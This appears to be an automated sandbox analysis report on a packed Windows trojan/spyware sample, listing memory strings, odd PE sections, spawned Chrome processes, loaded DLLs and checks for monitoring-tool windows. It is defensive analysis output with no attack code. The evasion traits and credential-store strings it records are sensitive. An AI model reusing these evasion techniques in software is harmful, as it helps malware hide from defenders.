Source: file.exe, 00000000.00000003.2313250894.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311780056.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310501796.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335942950.0000000005717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307815738.000000000554A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311152693.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310708976.0000000005D09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311379732.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315722765.0000000005C9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312170742.0000000005D31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313979941.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316627630.0000000005BA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310420919.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310244166.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314894413.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317041229.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312811660.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317396428.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317743739.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311517751.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314272884.0000000005B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336467275.00000000056E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309277926.0000000005BA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312673963.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307711248.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316267684.0000000005B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307976763.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318979261.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319534634.0000000005E11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313078095.0000000005D3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312953579.0000000005C63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315570031.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317859924.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309683255.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321183240.0000000005CDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320368962.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311644596.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314672163.0000000005C83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318701685.0000000005BA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317513891.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304613463.0000000005A78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313466120.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318835842.0000000005CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317629998.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314369506.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307612390.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322367227.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319394958.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309864944.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318298547.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310807679.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322081355.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308540443.0000000005545000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316918442.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311257306.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314525747.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309780627.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319964884.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304613463.0000000005A25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318162533.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319671049.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308859929.0000000005C41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304613463.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315353650.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310917597.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319805596.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309179013.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312038392.0000000005C61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318029949.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321388043.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317279638.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9992635758196722
Source: file.exe	Static PE information: Section: ftyqifrr ZLIB complexity 0.9949156559777711

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@10/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2098773394.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2098432344.0000000005704000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2184,i,11451357721040655892,3136664989347756057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,4349229689837919820,14898632998453722938,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2184,i,11451357721040655892,3136664989347756057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,4349229689837919820,14898632998453722938,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1875968 > 1048576

Source: file.exe

Static PE information: Raw size of ftyqifrr is bigger than: 0x100000 < 0x1a0200

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d826f should be: 0x1caa68

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ftyqifrr
Source: file.exe	Static PE information: section name: lzesihhj
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC push esi; retf 0020h	0_3_00EB6133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EC6237 push ds; iretd	0_3_00EC6264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EBE158 push B962EFB7h; ret	0_3_00EBE17E

Source: file.exe	Static PE information: section name: entropy: 7.980070828923242
Source: file.exe	Static PE information: section name: ftyqifrr entropy: 7.954385135104011

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
